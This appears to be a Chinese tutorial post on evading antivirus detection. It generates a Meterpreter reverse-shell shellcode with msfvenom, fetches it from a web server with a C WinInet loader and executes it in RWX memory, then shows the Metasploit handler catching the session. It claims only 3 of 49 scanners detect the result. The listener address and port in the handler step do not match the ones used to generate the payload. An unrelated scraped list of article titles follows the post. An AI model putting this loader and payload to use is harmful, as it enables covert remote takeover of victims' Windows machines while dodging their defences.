将生成的shellcode放到web服务器上,本地不保存恶意代码,本地只负责加载到内存运行,这样可以很好的躲过查杀。

  1. 生成shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c

2.使用获取代码,前提搭建好http服务器,并将shellcode写入服务器页面中。

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib, "WinInet.lib")char * GetUrlPage(char *URL, char *SubPath)
{HINTERNET hInternet, hConnect, hRequest = NULL;DWORD dwOpenRequestFlags, dwRet = 0;unsigned char *pResponseHeaderIInfo = NULL;DWORD dwResponseHeaderIInfoSize = 2048;BYTE *pBuf = NULL;DWORD dwBufSize = 64 * 2048;hInternet = ::InternetOpen("WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);hConnect = ::InternetConnect(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);if (NULL == hConnect)return NULL;dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;hRequest = HttpOpenRequest(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);HttpSendRequest(hRequest, NULL, 0, NULL, 0);pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize];RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize);HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);pBuf = new BYTE[dwBufSize];RtlZeroMemory(pBuf, dwBufSize);InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);return (char *)pBuf;
}int main(int argc, char * argv[])
{char *shellcode = GetUrlPage("192.168.1.20", "/shellcode");printf("%s \n", shellcode);system("pause");return 0;
}

3.处理shellcode代码,并将其加载到堆,并设置可读可执行,执行代码反弹即可。

int shellcode_length = strlen(ShellCode);unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));for (size_t count = 0; count < shellcode_length / 2; count++){sscanf(ShellCode, "%2hhx", &value[count]);ShellCode += 2;}void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, value, shellcode_length /2 );((void(*)())exec)();

测试,查毒率 VirScan - 多引擎文件在线检测平台 49个引擎,只有三个报毒。

第二个 VirusTotal ,查毒率

3.最后,生成成功后,我们将攻击主机运行一个监听事件,然后打开生成后的后门,然后发现能够成功上线。

[root@localhost ~]# msfconsole
msf5 >
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit -j -z

通过URL载入ShellCode代码相关推荐

  1. AMD规范:简单而优雅的动态载入JavaScript代码

    本文翻译自http://www.sitepen.com/blog/2010/11/04/requirejsamd-module-forms/,并加入部分自己的解释. CommonJS 提出了一种用于同 ...

  2. 源泉书签,助您管理海量收藏。www.yuanquanshuqian.com 今日更新:支持了导入url为js代码的书签...

    源泉书签,助您管理海量收藏.www.yuanquanshuqian.com 今日更新:支持了导入url为js代码的书签 转载于:https://www.cnblogs.com/jzssuanfa/p/ ...

  3. 用js自动把url加入ubb代码的函数

    //在内容中把url加入ubb代码 Code: function ubb(str){ var pattern = /(http|ftp):\/\/[0-9a-zA-Z_\-]{2,}\.[0-9a-z ...

  4. python模拟百度搜索点击链接_python采集百度搜索结果带有特定URL的链接代码实例...

    这篇文章主要介绍了python采集百度搜索结果带有特定URL的链接代码实例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 #coding utf-8 ...

  5. javascript获取url参数的代码

    代码 <script language = javascript> function request(paras){ var url = location.href; var paraSt ...

  6. 程序员面试金典适合java么,【程序员面试金典】面试题 01.03. URL化(示例代码)

    题目 URL化.编写一种方法,将字符串中的空格全部替换为%20.假定该字符串尾部有足够的空间存放新增字符,并且知道字符串的"真实"长度.(注:用Java实现的话,请使用字符数组实现 ...

  7. 网络编程之如何通过URL获取网页代码

    java.net 类 URL java.lang.Objectjava.net.URL 所有已实现的接口: Serializable public final class URLextends Obj ...

  8. php获取当前页面地址代码,PHP获取当前页面URL地址程序代码

    在php中要获取当前页面url地址方法很简单,下面我来给大家总结一下利用相关函数获取完整页面url地址的实例. PHP的预定义变量$_SERVER是一个包含头部(headers),路径信息及脚本位置的 ...

  9. android:由URL载入中ImageView

    两种方法: 方法一: Bitmap bimage= getBitmapFromURL(bannerpath); image.setImageBitmap(bimage);public static B ...

最新文章

  1. 浅谈大数据中的 2PC、3PC、Paxos、Raft、ZAB
  2. 区块链应用和法律规范
  3. Redis持久化存储详解(一)
  4. android 代码设置 键盘适应_Android自适应软键盘的Dialog以及监听软键盘弹起
  5. App乱世,3721离我们有多远
  6. 2020 年最全 Python 面试题汇总 (四)
  7. 展望2018:人工智能为媒体服务赋能
  8. 中求解数组中元素个数_JavaScript之学underscore在数组中查找指定元素
  9. 中国营销界:震惊全球的六种“武器”
  10. 【译】变分自编码器教程 一、简介
  11. mysql INSERT INTO table2 (column_name(s)) SELECT column_name(s) FROM table1;
  12. usb转rs485 linux驱动下载,USB转RS485串口驱动
  13. 求网页中嵌入mp3 格式音乐的html代码,子夜星·关于网页中加入音乐代码的讲解...
  14. 丁昊 北大计算机,北大清华17人!2018自主招生等类型入选名单公示,苏州333人!...
  15. “猫”和路由器是一个东西吗?
  16. Blast 几种方法的具体用法以及含义
  17. 仿热血江湖游戏Players装备加解锁功能未开放,请联系客服人员
  18. 《MySQL性能优化和高可用架构实践》阅读总结
  19. Spring Boot 菜鸟教程 12 EasyPoi导出Excel下载
  20. 织梦模板文章的图片路径问题

热门文章

  1. 第51次全国计算机等级考试时间,通知丨第51次全国计算机等级考试开始
  2. 自学html代码,HTML代码学习(一)
  3. 射频功率衰减器一般采用电阻元件,有两种主要电路形式:π型和T型
  4. proteus篇------小夜灯原理
  5. 从垃圾分类到边缘计算,九州云乌镇专题研讨会引发热议
  6. springboot项目每次启动的时候都会跳进一个异常解决办法
  7. 计算机辅助工程具体应用,计算机辅助工程应用及展望.pdf
  8. 实习第三周小记-----生活在于经历
  9. 【qml】设置Component内多级子孙元素的属性的快捷方法
  10. 欧拉公式在计算机图形学中的,计算机图形学 第九章课件.ppt